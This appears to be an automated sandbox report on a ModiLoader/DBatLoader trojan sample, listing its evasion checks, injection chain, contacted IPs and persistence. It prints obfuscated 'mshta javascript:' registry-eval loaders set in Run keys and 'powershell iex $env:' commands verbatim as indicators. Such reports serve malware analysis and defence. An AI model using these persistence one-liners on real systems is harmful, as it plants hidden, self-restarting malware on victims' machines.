Malware Analysis Report

2024-08-06 14:04

Sample ID 240614-b3jvvszgkg
Target a79397e420c2d3deaf552393faffbafc_JaffaCakes118
SHA256 8ffceb24b4cb855fb4d191a1428b27a93a2e4eae9e3ad33358915785ded0cfb8
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8ffceb24b4cb855fb4d191a1428b27a93a2e4eae9e3ad33358915785ded0cfb8

Threat Level: Known bad

The file a79397e420c2d3deaf552393faffbafc_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

ModiLoader Second Stage

Looks for VirtualBox drivers on disk

Checks for common network interception software

Looks for VirtualBox Guest Additions in registry

Adds policy Run key to start application

Looks for VMWare Tools registry key

Deletes itself

Checks computer location settings

Checks BIOS information in registry

Adds Run key to start application

Maps connected drives based on registry

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Program crash

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 01:40

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 01:40

Reported

2024-06-14 01:42

Platform

win7-20240611-en

Max time kernel

150s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Adds policy Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:uahyE2B=\"wVq2gHP03o\";g71M=new%20ActiveXObject(\"WScript.Shell\");HyXI1b8g=\"St\";H7t0xM=g71M.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\f536e2a63b\\\\aa8883e5\");vllv55wdO=\"i1LMTz\";eval(H7t0xM);Z6Xu2SCHnq=\"d\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:IOC2eA1ro=\"rYsuViWEi\";R3G0=new%20ActiveXObject(\"WScript.Shell\");QDqI3tCHD6=\"RagmQ\";yHY0j=R3G0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\f536e2a63b\\\\aa8883e5\");Y0jZC1qEj=\"5dRv6\";eval(yHY0j);APX89nwiol=\"ehGmoe\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:l6YWeyjD0G=\"Bvp9OtyPDy\";R4R=new%20ActiveXObject(\"WScript.Shell\");L4dhd4mCS=\"7\";k1ete=R4R.RegRead(\"HKCU\\\\software\\\\f536e2a63b\\\\aa8883e5\");mI0GOh4oN=\"Juc\";eval(k1ete);mZk1blL=\"b8PhLAIA\";" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\system32\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2664 wrote to memory of 2280 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2664 wrote to memory of 2280 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2664 wrote to memory of 2280 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2664 wrote to memory of 2280 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2280 wrote to memory of 2180 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2180 wrote to memory of 752 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:fFClkA8k="iMt2iTrh7";LQ2=new%20ActiveXObject("WScript.Shell");TbbiCH3="6E1xcpy";odI0S3=LQ2.RegRead("HKLM\\software\\Wow6432Node\\J2K8JEnjdV\\zTbpLY");lRG5h7TX="JCN0L20coY";eval(odI0S3);s7mzLxtrj5="URVjo7SMpZ";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:zevsxgls

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
FR 217.117.159.72:80 tcp
US 44.83.101.85:80 tcp
BR 187.116.169.186:80 tcp
CN 58.222.49.66:80 tcp
US 71.68.244.227:80 tcp
US 215.108.199.162:80 tcp
US 172.180.245.173:443 tcp
RU 80.76.184.87:80 tcp
BR 191.131.164.107:80 tcp
IN 203.212.64.101:80 tcp
MX 201.126.246.11:80 tcp
US 40.148.237.139:80 tcp
PL 37.249.219.45:80 tcp
IT 93.62.29.186:443 tcp
US 6.65.60.102:80 tcp
US 153.69.168.250:80 tcp
US 156.145.104.95:80 tcp
CA 199.23.76.64:80 tcp
GB 25.247.168.255:80 tcp
VE 181.35.51.35:443 tcp
RU 46.42.145.97:80 tcp
US 75.234.213.7:80 tcp
IN 182.95.158.166:80 tcp
US 7.50.136.214:80 tcp
CN 218.22.171.23:80 tcp
CN 182.34.122.14:80 tcp
TW 61.64.20.49:80 tcp
DE 195.243.30.129:80 tcp
PL 193.150.37.91:80 tcp
RS 147.91.18.118:80 tcp
US 129.89.61.148:80 tcp
US 56.211.229.249:80 tcp
KR 218.152.2.8:80 tcp
CN 183.236.249.26:8080 tcp
SE 164.48.35.129:80 tcp
SG 8.169.254.24:80 tcp
CN 171.104.207.179:80 tcp
TW 1.165.77.24:80 tcp
KR 49.247.128.28:80 tcp
US 68.134.40.38:80 tcp
CN 14.22.238.211:80 tcp
US 17.182.78.158:80 tcp
NL 40.99.192.32:80 tcp
CN 118.117.241.234:80 tcp
EG 105.87.188.97:80 tcp
US 7.212.182.59:80 tcp
US 44.70.23.219:80 tcp
DE 213.254.40.87:80 tcp
SG 8.186.138.39:80 tcp
US 54.62.110.31:80 tcp
DE 53.98.166.136:80 tcp
FR 78.202.46.196:80 tcp
US 50.75.127.215:443 tcp
JP 118.177.203.102:80 tcp
KR 61.98.53.250:80 tcp
AU 3.25.74.58:80 tcp
US 159.166.116.56:80 tcp
KR 58.143.252.137:80 tcp
US 24.32.192.94:80 tcp
AT 178.190.150.78:80 tcp
US 166.113.178.201:80 tcp
FR 77.194.45.120:80 tcp
JP 210.150.33.174:80 tcp
GB 213.18.222.132:80 tcp
BR 177.169.45.169:80 tcp
N/A 127.215.107.21:80 tcp
DE 83.236.168.228:80 tcp
US 209.133.28.237:443 tcp
SG 43.114.33.219:80 tcp
FR 13.39.100.193:80 tcp
DE 31.253.248.34:80 tcp
US 19.162.108.238:443 tcp
US 207.98.94.188:80 tcp
CN 122.139.72.241:80 tcp
CL 200.14.212.57:443 tcp
US 166.26.134.222:80 tcp
US 6.18.178.182:80 tcp
US 143.173.96.216:80 tcp
US 45.18.151.140:80 tcp
JP 180.7.138.132:80 tcp
US 216.101.137.2:80 tcp
KR 182.193.106.168:80 tcp
BD 119.148.21.44:80 tcp
US 152.36.184.62:80 tcp
US 6.166.124.68:80 tcp
BR 170.254.169.27:80 tcp
FR 202.167.166.83:80 tcp
ZA 41.172.168.61:80 tcp
AT 195.12.209.24:80 tcp
IN 183.82.92.16:80 tcp
FR 51.178.145.28:80 tcp
US 75.30.217.17:80 tcp
US 66.146.59.100:80 tcp
MX 187.147.126.7:80 tcp
DZ 105.107.85.111:80 tcp
JP 113.43.25.235:80 tcp
FI 157.24.72.188:80 tcp
VN 27.66.107.222:80 tcp
US 12.85.185.161:80 tcp
IN 14.96.251.147:80 tcp
JP 202.149.16.101:80 tcp
CA 142.126.82.118:8080 tcp
JP 126.175.219.216:8080 tcp
NO 158.149.84.211:80 tcp
US 30.136.136.243:80 tcp
US 3.227.205.107:8080 tcp
CN 118.227.152.186:443 tcp
BR 177.40.125.125:80 tcp
US 68.51.110.246:80 tcp
US 205.108.50.32:80 tcp
JP 160.23.220.97:80 tcp
FR 185.74.98.168:80 tcp
US 94.38.67.116:80 tcp
CN 42.94.173.198:8080 tcp
US 144.147.38.53:80 tcp
UY 167.57.59.9:80 tcp
BR 201.18.91.165:443 tcp
CH 213.144.147.226:80 tcp
DE 46.30.78.58:80 tcp
US 170.119.89.255:80 tcp
US 71.63.40.20:80 tcp
CN 119.184.197.119:80 tcp
US 22.165.128.162:80 tcp
PL 89.74.235.162:80 tcp
CN 139.213.184.171:80 tcp
US 69.226.105.37:80 tcp
CA 142.45.36.48:80 tcp
FR 188.165.86.74:8080 tcp
US 98.88.217.157:80 tcp
MU 196.165.26.188:80 tcp
AU 49.191.105.121:80 tcp
PT 83.144.134.201:80 tcp
GB 82.219.143.178:443 tcp
N/A 194.62.50.102:80 tcp
N/A 216.255.162.100:80 tcp

Files

memory/1252-0-0x0000000002E80000-0x0000000002F81000-memory.dmp

memory/1252-1-0x0000000000400000-0x00000000004A1000-memory.dmp

memory/1252-3-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-7-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-6-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-5-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-4-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-8-0x0000000000050000-0x0000000000110000-memory.dmp

memory/1252-11-0x0000000000400000-0x00000000004A1000-memory.dmp

memory/1252-13-0x0000000002E80000-0x0000000002F81000-memory.dmp

memory/2280-19-0x0000000005DB0000-0x0000000005E70000-memory.dmp

memory/2180-21-0x0000000000C00000-0x0000000000C07000-memory.dmp

memory/2280-22-0x0000000005DB0000-0x0000000005E70000-memory.dmp

memory/2180-24-0x0000000000C00000-0x0000000000C07000-memory.dmp

memory/2180-27-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-26-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-25-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-29-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-31-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-30-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-34-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-32-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-33-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-36-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-39-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-38-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-37-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-35-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/752-42-0x0000000000C00000-0x0000000000C07000-memory.dmp

memory/752-40-0x0000000000C00000-0x0000000000C07000-memory.dmp

memory/752-43-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/752-48-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/752-47-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/752-46-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/752-45-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/752-44-0x0000000000210000-0x00000000002D0000-memory.dmp

memory/2180-50-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-53-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-64-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-69-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-68-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-67-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-66-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-65-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-63-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-62-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-61-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-60-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-59-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-58-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-57-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-56-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-55-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-54-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-52-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-70-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-71-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/2180-51-0x00000000001B0000-0x0000000000270000-memory.dmp

memory/1252-72-0x0000000000050000-0x0000000000110000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 01:40

Reported

2024-06-14 01:42

Platform

win10v2004-20240508-en

Max time kernel

145s

Max time network

53s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2328 wrote to memory of 4636 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2328 wrote to memory of 4636 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2328 wrote to memory of 4636 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\a79397e420c2d3deaf552393faffbafc_JaffaCakes118.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 576

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1068

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 252

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1116

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1180

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1224

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1248

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1268

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1276

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1256

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1400

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1268

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1268

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:UPq5KIde="Kp70yB";O4o8=new%20ActiveXObject("WScript.Shell");TkyqKe5="Jv0ggilfz";yGmO6=O4o8.RegRead("HKLM\\software\\Wow6432Node\\ULa7SDvXE\\U5DASfU9G");Nf7BSe7w="RR";eval(yGmO6);eN0b3GGMhC="BIKWgF8";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:eyma

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1428

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1420

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3448 -ip 3448

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1464

Network

Files

